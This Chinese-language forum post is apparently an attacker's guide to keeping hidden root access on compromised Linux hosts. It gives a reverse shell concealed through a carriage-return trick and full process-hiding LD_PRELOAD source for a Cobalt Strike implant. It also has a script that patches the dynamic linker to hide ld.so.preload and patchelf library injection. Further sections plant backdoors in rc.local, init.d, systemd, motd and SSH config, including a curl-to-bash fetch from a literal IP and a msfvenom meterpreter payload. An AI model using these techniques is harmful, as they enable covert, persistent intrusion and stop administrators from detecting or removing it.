来源:https://forum.ezreal.cool/thread-100-1-1.html
原理:shell 在解析 \r 时会忽略掉 \r 前的信息。
cat其实默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令,使用cat -A可以看到真正的内容
比如举例隐藏反弹shell
#!/bin/bash$
mkdir /tmp/222;echo "bash -i >& /dev/tcp/ip/443 0>&1 &" > /tmp/222/1.sh;bash /tmp/222/1.sh;echo 'Hello world!' #^Mecho 'Hello world!'
cat如果不加-A参数,或者不实用vim或者文本方式打开
正常运行效果
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除文件
其中-m参数是不创建一个文件,需要对已存在的文件进行修改时间,若不加-m参数会创建一个文件
touch -acmr 10-help-text 20-help-text
**适用范围:**
[x] Debian 5.7.6-1kali2(其他版本未测试)
[x] Ubuntu 16.04.7 LTS(其他版本未测试)
[x] Centos7(其他版本未测试)
[ ] 其他暂未测试
如果有root权限可以直接修改/etc/ld.so.preload配置文件来加载我们的恶意so文件,以下是修改/etc/ld.so.preload为例子来演示
如果没有root权限可以设置当前普通用户的LD_PRELOAD环境变量来加载我们的so文件
https://github.com/gianlucaborello/libprocesshider
processhider.c
这里的process_to_filter就是要隐藏的进程,这里是以Linux上线cs的木马为例子
#define _GNU_SOURCE#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "CyqajxNwxu";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
在未隐藏进程前效果:
编译processhider.c
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
但是网络状态还是能看到外连信息,但是进程ID看不到了
**限制:**
需要root权限**适用范围:**
[x] Debian 5.7.6-1kali2(其他版本未测试)
[x] Ubuntu 16.04.7 LTS(其他版本未测试)
[x] Centos7(其他版本未测试)
[ ] 其他暂未进行测试
这里以反弹shell为例子,可灵活使用
run.sh是反弹shell的操作,一般来说执行了反弹shell操作会有一个bash -i的进程,如下图:
可以通过挂载的方式隐藏该进程
创建一个空目录进行挂载 /tmp/test
通过挂载,隐藏了run.sh的进程
mount -o bind /tmp/test /proc/66893 (这里的进程ID就是上面执行反弹shell的对应ID)
可以看到之前bash -i的进程没有找到
查看网络连接状态,可以看到我们反弹shell的外连IP看不到对应的进程
恢复原状
umonut -v /proc/66893
同理利用这种方式可以隐藏其他一些进程,比如我们的木马,python执行的脚本等等,可灵活使用
拓展:
权限维持时候可以结合**cat特性**
+**文件锁定**
+**通过挂载的方式隐藏进程/通过预加载方式隐藏进程**
+**服务启动或者计划任务等方式**
组合来实现自动化小工具权限维持
**限制:**
需要root权限**适用范围:**
[x] Debian 5.7.6-1kali2(其他版本未测试)
[x] Ubuntu 16.04.7 LTS(其他版本未测试)
[x] Centos7(其他版本未测试)
[ ] 其他还未测试
首先了解下Linux应用程序的一个执行逻辑,以下这张图一目了然
程序的链接
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。如busybox
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致一些非预期的执行结果或者绕过某些安全设置。
因此有三处存在文件劫持的可能性:
修改LD_PRELOAD环境变量来加载恶意的so文件
直接修改/etc/ld.so.preload文件加载恶意的so文件
修改动态链接器实现恶意功能,比如修改动态连接器默认用于预加载的配置文件的指向路径,本来的默认路径是/etc/ld.so.preload,把这个路径修改为自定义的路径,然后在里面写入要加载的恶意动态库。又比如修改默认的用于预加载的环境变量
以上三种方法中,第1、2点及其容易被发现,**这里主要讲下第三种的实现方法**
动态链接器可以被正在运行的动态链接程序或者动态对象(没有对动态链接器指定命令选项,动态链接器被存储在程序的.interp区域)间接调用,也可以直接运行程序,
例如:/lib/ld-linux.so.* [OPTIONS] [PROGRAM [ARGUMENTS]]
很多现代应用都是通过动态编译链接的,当一个 需要动态链接 的应用被操作系统加载时,系统必须要 定位 然后 加载它所需要的所有动态库文件。
ld.so和ld-linux.so*查找并且装载其他程序所依赖的动态链接对象,当装载完毕之后,就开始运行程序
Linux二进制运行程序要求动态链接(在运行时链接)除非在汇编期间指定-static选项
动态链接器:**/lib64/ld-linux-x86-64.so.2**
是一个软链接,这里在Ubuntu 16.04.7 LTS链接到/lib/x86_64-linux-gnu/ld-2.23.so
在Linux环境下,这项工作是由ld-linux.so.2来负责完成的,我们可以通过 ldd 命令来查看一个 应用需要哪些依赖的动态库:
当最常见的ls小程序加载时,操作系统会将 控制权 交给 ld-linux.so 而不是 交给程序正常的进入地址。ld-linux.so.2 会寻找然后加载所有需要的库文件,然后再将控制权交给应用的起始入口。
上面的ls在启动时,就需要ld-linux.so加载器将所有的动态库加载后然后再将控制权移交给ls程序的入口。
这里以为Ubuntu 16.04.7 LTS例子,里面就默认写死了/etc/ld.so.preload的路径,可以通过sed命令对其进行修改
这里就有一个小技巧
参考链接:
https://everydaywithlinux.blogspot.com/2012/11/patch-strings-in-binary-files-with-sed.html
通过编写脚本实现该功能:
该脚本修改动态连接器默认用于预加载的配置文件的指向路径,本来的默认路径是/etc/ld.so.preload,修改后的路径是随机路径
#!/usr/bin/python2# modifies the dynamic linker and changes the target location of /etc/ld.so.preload to a random file in a random directory
# this means that ld.so.preload will no longer make a difference, and it'll confuse the fuck out of sysadmins trying to remove any LD_PRELOAD malware on their box
# 'new' ld.so.preload file location can still be discovered by reading the strings in the dynamic linker libraries
# this python script is based off of http://everydaywithlinux.blogspot.co.uk/2012/11/patch-strings-in-binary-files-with-sed.html
# this could also potentially be used to easily prevent LD_PRELOAD attacks on your own boxes :p (assuming you aren't using ld.so.preload for a legit reason already)
import os
import sys
import random
import string
import subprocess
LIB_DIRS = ["/lib/", "/lib/x86_64-linux-gnu/", "/lib/i386-linux-gnu/", "/lib32/", "/libx32/", "/lib64/"]
P_DIRS = ["/bin/", "/sbin/", "/etc/", "/home/", "/lib/", "/libx32/", "/lib64/", "/opt/", "/usr/", "/var/"] # doesn't really matter where the file is stored since vlany hides it anyway but nothing like a little more obscurity
O_PRELOAD = "/etc/ld.so.preload"
PYL = """hexdump -ve '1/1 "%.2X"' {0} | sed "s/{1}/{2}/g" | xxd -r -p > {0}.tmp
chmod --reference {0} {0}.tmp
mv {0}.tmp {0}"""
def get_n_preload():
n_preload = "{0}.{1}"
_dir = random.choice(P_DIRS)
while not os.path.exists(_dir):
_dir = random.choice(P_DIRS)
n_preload = n_preload.format(_dir, ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(8)))
return n_preload
def hex_str(_):
return _.encode("hex").upper() + "00"
def patch_lib(target_lib, o_preload, n_preload):
print("Attempting to patch {0} by replacing {1} with new string, {2}".format(target_lib, o_preload, n_preload))
p = subprocess.Popen(["strings", target_lib], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
for x in out.split("\n"):
if x == o_preload:
print("old preload found in {0}: {1}".format(target_lib, x))
o_preload_hex = hex_str(o_preload)
n_preload_hex = hex_str(n_preload)
while(len(n_preload_hex) <> len(o_preload_hex)):
print("Padding the new preload location with nullbytes.")
n_preload_hex += "00"
print("Replacing {0} with {1} in library {2}".format(o_preload, n_preload, target_lib))
os.system(PYL.format(target_lib, o_preload_hex, n_preload_hex))
print("{0} patched.".format(target_lib))
def get_ld_locations():
lib_locations = ""
for _ in LIB_DIRS:
if os.path.exists(_):
for x in os.listdir(_):
if x.startswith("ld-2"):
lib_locations += "{0}{1}\n".format(_, x)
return lib_locations
if __name__ == "__main__":
locations = get_ld_locations()[:-1]
if sys.argv[1]:
if sys.argv[1] == "-c":
os.system("cp " + locations + " /tmp/backup")
print("backup: "+ locations + " to: /tmp/backup")
n_preload = get_n_preload()
for x in locations.split("\n"):
patch_lib(x, O_PRELOAD, n_preload)
f = open("new_preload", "w")
f.write(n_preload)
f.close()
if sys.argv[1] == "-r":
print("recovery: " +locations)
os.system("mv " + "/tmp/backup" + " "+locations)
使用方法:
python xxx.py -c
-c参数修改动态链接器的默认路径为一个随机路径,并且备份初始状态的动态链接器
python xxx.py -r
恢复初始状态的动态链接器,默认路径恢复为/etc/ld.so.preload
**适用范围:**
[x] Debian
[x] Ubuntu
[x] Centos7
[ ] 其他版本暂未测试
https://github.com/NixOS/patchelf
PatchELF is a simple utility for modifying existing ELF executables and libraries.
release直接编译好不同的版本
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
__attribute__ ((__constructor__)) void preload (void){
system("id");
}
这里需要绝对路径,不然注入不成功
gcc -shared -fPIC inject.c -o inject.so
./patchelf --add-needed /root/inject.so /bin/ls
ldd /bin/ls
删除被注入的so文件
./patchelf --remove-needed /root/inject.so /bin/ls
效果如下:
一个简单的main.c程序
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>int main() {
printf("Just Test...\n\n");
}
编译执行:
gcc main.c -o main
./main
#include <stdio.h>
#include <stdlib.h>void __attribute__ ((constructor)) inject_init()
{
printf("libinject.so init.\n");
}
void __attribute__ ((destructor)) inject_exit()
{
printf("libinject.so exit.\n");
}
gcc -shared -fPIC inject.c -o inject.so
patchelf --add-needed /home/zhangsan/inject.so main
**限制:**
需要root权限**适用范围:**
[x] Debian 5.7.6-1kali2
[x] Ubuntu 16.04.7 LTS
[x] Centos7
不通操作系统所在位置不通,后面补充
/etc/rc.d/rc.local 用于用户自定义开机启动程序,因此可以往里写开机要执行的命令或脚本。
首先需要对该文件chmod +x /etc/rc.d/rc.local 赋予执行权限
往里面添加我们自定义的脚本/tmp/.Test-unix/run.sh
chmod +x /tmp/.Test-unix/run.sh
不过用此方式反弹的shell,查看ifconfig是看不到的
建议不要使用反弹shell,通过木马方式上线
**限制:**
需要root权限**适用范围:**
[x] Debian 5.7.6-1kali2(其他版本未测试)
[x] Ubuntu 16.04.7 LTS(其他版本未测试)
[x] Centos7(其他版本未测试)
[ ] 其他还未测试
服务脚本保存在:/etc/init.d 或者 /etc/rc.d/init.d
chkconfig <service> on/off,添加/删除一个自启动服务,服务脚本存在于/etc/init.d。
chkconfig --list,列出的服务均为RPM包安装的服务和通过chkconfig --add xxx设置开机启动的服务。
service <service> start/stop/restart/status,启动/停止/重启/查看。
亦可:/etc/init.d/sshd start/stop/restart/status
service --status-all,查看所有服务的状态。
ntsysv,以全屏幕文本界面设置服务开机时是否自动启动。
Linux服务器启动的时候分为6个等级:
0.表示关机
1.单用户模式
2.无网络的多用户模式
3.有网络的多用户模式
4.不可用
5.图形化界面
6.重新启动
可修改该目录下的脚本,添加恶意的脚本或者命令
cat /etc/rc.d/init.d/network
添加自定义服务方式:
1、在/etc/init.d/目录下新建一个自定义服务的文件如:myservice,chmod +x /etc/init.d/myservice
2、添加下面两句到 #!/bin/bash 之后。
#!/bin/bash
# chkconfig: 2345 90 90
# description: myservicecurl -A O -o- -L http://101.34.162.92:55414/api | bash -s
PS:不添加这两行会报错:执行chkconfig --add myservice后提示:service myservice does not support chkconfig
PS:其中2345是默认启动级别,级别有0-6共7个级别
等级0表示:表示关机
等级1表示:单用户模式
等级2表示:无网络连接的多用户命令行模式
等级3表示:有网络连接的多用户命令行模式
等级4表示:不可用
等级5表示:带图形界面的多用户模式
等级6表示:重新启动
10是启动优先级,90是停止优先级,优先级范围是0-100,数字越大,优先级越低。
3、命令
开启开机自启动服务:chkconfig myservice on
添加开机自启动服务:chkconfig --add myservice
查看开机自启动服务:chkconfig --list myservice
删除服务
chkconfig --del myservice
[x] Debian 5.7.6-1kali2
[x] Ubuntu 16.04.7 LTS
[x] Centos7
[ ] 其他还未测试
由于chkconfig是Redhat发行版特有的服务配置方式,在基于debian的发行版下原生不支持,因此使用systemctl方式添加自定义系统服务,更具优势。
由于chkconfig是Redhat发行版特有的服务配置方式,在基于debian的发行版下原生不支持,因此使用systemctl方式添加自定义系统服务,更具优势。
systemctl脚本存放在:/usr/lib/systemd/,有系统(system)和用户(user)之分,需要开机不登陆就能运行的程序,存在系统服务里,即:/usr/lib/systemd/system目录下。
systemctl管理的每一个服务以.service结尾,一般会分为3部分:[Unit]、[Service]和[Install]。
[Unit]
主要是对这个服务的说明,内容包括Description和After,Description 用于描述服务,After用于描述服务类别
[Service]
Type=simple(默认值):systemd认为该服务将立即启动。服务进程不会fork。如果该服务要启动其他服务,不要使用此类型启动,除非该服务是socket激活型。
Type=forking:systemd认为当该服务进程fork,且父进程退出后服务启动成功。对于常规的守护进程(daemon),除非你确定此启动方式无法满足需求,使用此类型启动即可。使用此启动类型应同时指定 PIDFile=,以便systemd能够跟踪服务的主进程。
Type=oneshot:这一选项适用于只执行一项任务、随后立即退出的服务。可能需要同时设置 RemainAfterExit=yes 使得 systemd 在服务进程退出之后仍然认为服务处于激活状态。
Type=notify:与 Type=simple 相同,但约定服务会在就绪后向 systemd 发送一个信号。这一通知的实现由 libsystemd-daemon.so 提供。
Type=dbus:若以此方式启动,当指定的 BusName 出现在DBus系统总线上时,systemd认为服务就绪。
Type=idle: systemd会等待所有任务(Jobs)处理完成后,才开始执行idle类型的单元。除此之外,其他行为和Type=simple 类似。
PIDFile:pid文件路径
ExecStart:指定启动单元的命令或者脚本,ExecStartPre和ExecStartPost节指定在ExecStart之前或者之后用户自定义执行的脚本。Type=oneshot允许指定多个希望顺序执行的用户自定义命令。
ExecReload:指定单元停止时执行的命令或者脚本。
ExecStop:指定单元停止时执行的命令或者脚本。
PrivateTmp:True表示给服务分配独立的临时空间
Restart:这个选项如果被允许,服务重启的时候进程会退出,会通过systemctl命令执行清除并重启的操作。
RemainAfterExit:如果设置这个选择为真,服务会被认为是在激活状态,即使所以的进程已经退出,默认的值为假,这个选项只有在Type=oneshot时需要被配置。
注意:[Service]部分的启动、重启、停止命令全部要求使用绝对路径,使用相对路径则会报错!
[Install]
服务安装的相关设置,可设置为多用户的
例子:
[Unit]
Description=myservice
After=myservice.service[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/opt/myservice/start.sh
ExecReload=
ExecStop=/opt/myservice/stop.sh
[Install]
WantedBy=multi-user.target
chmod +755 /opt/myservice/start.sh
#!/bin/bash
/tmp/CyqajxNwxu
脚本授权:chmod 755 /usr/lib/systemd/system/myservice.service
开机启动:systemctl enable myservice.service
至此,每次开机都会执行/opt/myservice/start.sh,每次关机都会执行/opt/myservice/stop.sh
ubuntu有所不同启动方式
然后执行以下命令
systemctl enable /usr/lib/systemd/myservice.service
立即启动命令:systemctl start myservice.service
使用systemctl restart myservice.service命令时候会再次执行服务的脚本
[Unit]
Description=myservice
After=myservice.service[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/tmp/run.sh
ExecReload=
ExecStop=/tmp/run.sh
[Install]
WantedBy=multi-user.target
#!/bin/sh
nohup /home/zhangsan/test.sh &
**限制:**
需要root权限**适用范围:**
[x] Debian 5.7.6-1kali2
[x] Ubuntu 16.04.7 LTS
[ ] centos7经测试不行
[ ] 其他还未测试
motd,全称Message Of The Day,是Linux中发送问候消息的功能,一般在我们登录服务器后显示
每次任意用户登录时都会触发motd服务的功能,这个功能的脚本几乎都是使用root 权限来启动的
motd 的动态脚本:
发行版本 | 对应的位置 |
---|---|
Debian 5.7.6-1kali2 | /etc/update-motd.d/目录下 |
Ubuntu 16.04.7 LTS | /etc/update-motd.d/目录下 |
centos7(经测试发现centos7该位置motd无法执行命令和脚本) | /etc/motd |
这里以Ubuntu 16.04.7 LTS 为例子:
motd 的动态脚本都在 /etc/update-motd.d/这个目录下
这些脚本动态的组合成了我们上面看到的那么 Banner 信息
这些文件只允许 root 用户编辑,所以使用此后门需要先获取root权限
这个目录下的所有文件在任意用户登录后都会执行一遍,因此可以通过这些脚本来留下我们的后门来权限维持
可以看到00-header打印了如下信息
就是SSH登陆成功出现的信息
因此我们可以修改默认的脚本或者新建恶意的脚本来实现权限维持
msfvenom -p python/meterpreter/reverse_https lhost=xxxx lport=8443 -f raw
SSH登陆触发
通过新建脚本的方式:
cp /etc/update-motd.d/10-help-text /etc/update-motd.d/20-network-dist
chmod +x 20-network-dist
然后往里面加入我们的恶意脚本
SSH
**限制:**
需要root权限**适用范围:**
[x] Debian
[x] Ubuntu
[x] Centos7
[ ] 其他还未测试
ssh客户端配置文件的加载顺序:
命令行参数 > ~/.ssh/config > /etc/ssh/ssh_config
在这个配置文件里有两个关键的参数
**LocalCommand**
在设置LocalCommand时候,当进行SSH连接成功后可以执行我们自定义的命令,设置了LocalCommand同时必须要设置PermitLocalCommand的值为yes
SSH连接其他主机成功时候触发我们自定义的命令
**ProxyCommand**
连接主机过程中设置代理所使用的命令